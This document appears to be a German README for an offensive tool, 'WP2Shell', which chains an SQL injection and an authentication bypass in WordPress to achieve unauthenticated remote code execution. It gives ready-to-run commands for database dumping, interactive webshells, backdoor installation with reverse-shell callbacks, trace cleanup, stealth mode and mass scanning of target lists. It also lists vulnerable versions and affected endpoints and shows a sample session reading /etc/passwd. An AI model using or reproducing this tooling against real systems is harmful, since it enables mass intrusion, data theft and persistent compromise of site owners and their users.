Modulares WordPress-Pre-Auth-Exploit-Framework, das SQL-Injection und Authentifizierungsumgehung kombiniert, um Remote-Codeausführung, interaktive Shells, Backdoors und Massen-Schwachstellenscanning zu ermöglichen.
CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Autor: G0D150NE
WP2Shell ist ein Full-Chain-Exploit-Tool für die Remote-Codeausführung bei WordPress ohne vorherige Authentifizierung. Es kombiniert zwei kritische Schwachstellen:
Dieses Tool ermöglicht die vollständige Kompromittierung verwundbarer WordPress-Installationen ohne jegliche Authentifizierung - von der Erkennung bis hin zu vollständiger RCE und Persistenz.
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
| Befehl | Beschreibung |
|---|---|
check | Zerstörungsfreie Bestätigung von Schwachstellen |
read | Daten per SQL-Injection extrahieren |
exploit | Vollständige Pre-Auth-RCE-Kette |
shell | Webshell mit vorhandenen Anmeldedaten bereitstellen |
masscan | Mehrere Ziele massenhaft scannen |
autopwn | Automatische Erkennung → Scan → Exploit |
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
Basis-Fingerprint:
python3 wp2shell.py read https://target.com
Benutzer extrahieren:
python3 wp2shell.py read https://target.com --preset users
Benutzerdefinierte Abfrage:
python3 wp2shell.py read https://target.com --query "SELECT @@version"
Gesamte Datenbank dumpen:
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
Basis-Exploit:
python3 wp2shell.py exploit https://target.com
Exploit mit interaktiver Shell:
python3 wp2shell.py exploit https://target.com --interactive
Exploit mit Backdoor-Installation:
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
Exploit mit Datenbank-Dump:
python3 wp2shell.py exploit https://target.com --dumpdb
Exploit mit Cleanup (Spuren entfernen):
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
Dabei wird Folgendes durchgeführt:
Nach der Ausnutzung erhalten Sie eine vollständige interaktive Shell:
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
| Option | Beschreibung |
|---|---|
--timeout | HTTP-Timeout in Sekunden (Standard: 30) |
--proxies | Kommagetrennte Proxy-Liste (z. B. http://127.0.0.1:8080) |
--stealth | Stealth-Modus mit zufälligen Verzögerungen aktivieren |
-v, --verbose | Debug-Ausgabe aktivieren |
-q, --quiet | Banner- und Informationsmeldungen unterdrücken |
| Option | Beschreibung |
|---|---|
--prefix | Tabellenpräfix (Standard: wp_) |
--auto-prefix | Tabellenpräfix automatisch ermitteln |
--max-length | Maximale Zeichen pro Wert (Standard: 128) |
--technique | Extraktionstechnik: auto/union/error/blind |
--preset | Datenvoreinstellung: fingerprint/users/dumpall |
--query | Beliebiger SQL-Ausdruck zum Extrahieren |
| Option | Beschreibung |
|---|---|
--prefix | Tabellenpräfix (Standard: wp_) |
--no-discover | Automatische Erkennung überspringen, Standardwerte verwenden |
-i, --interactive | Nach der Ausnutzung eine Shell öffnen |
-c, --command | Nach der Ausnutzung einen einzelnen Befehl ausführen |
--backdoor | Persistenz-Backdoor installieren |
--lhost | LHOST für Reverse-Shell (Standard: 10.0.0.1) |
--lport | LPORT für Reverse-Shell (Standard: 4444) |
--dumpdb | Datenbank nach der Ausnutzung dumpen |
--cleanup | Erstellten Benutzer und Webshell beim Beenden löschen |
SQL-Injection (CVE-2026-63030)
/wp-json/batch/v1 aufauthor_exclude ist anfällig für zeitbasierte Blind-SQLiAuthentifizierungsumgehung (CVE-2026-60137)
/_embed-Parameter| Version | Status |
|---|---|
| 6.9.0 | ✅ Verwundbar |
| 6.9.1 | ✅ Verwundbar |
| 6.9.2 | ✅ Verwundbar |
| 6.9.3 | ✅ Verwundbar |
| 6.9.4 | ✅ Verwundbar |
| 7.0.0 | ✅ Verwundbar |
| 7.0.1 | ✅ Verwundbar |
| ≥ 7.0.2 | ❌ Behoben |
| Technik | Geschwindigkeit | Datengröße | Anforderungen |
|---|---|---|---|
| UNION | ⚡ Sehr schnell | Unbegrenzt | Ziel darf UNION nicht filtern |
| Error | 🚀 Schnell | ~30 Zeichen/Anfrage | Ziel muss Fehlermeldungen ausgeben |
| Blind | 🐢 Langsam | Unbegrenzt | Boolesches Orakel verfügbar |
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered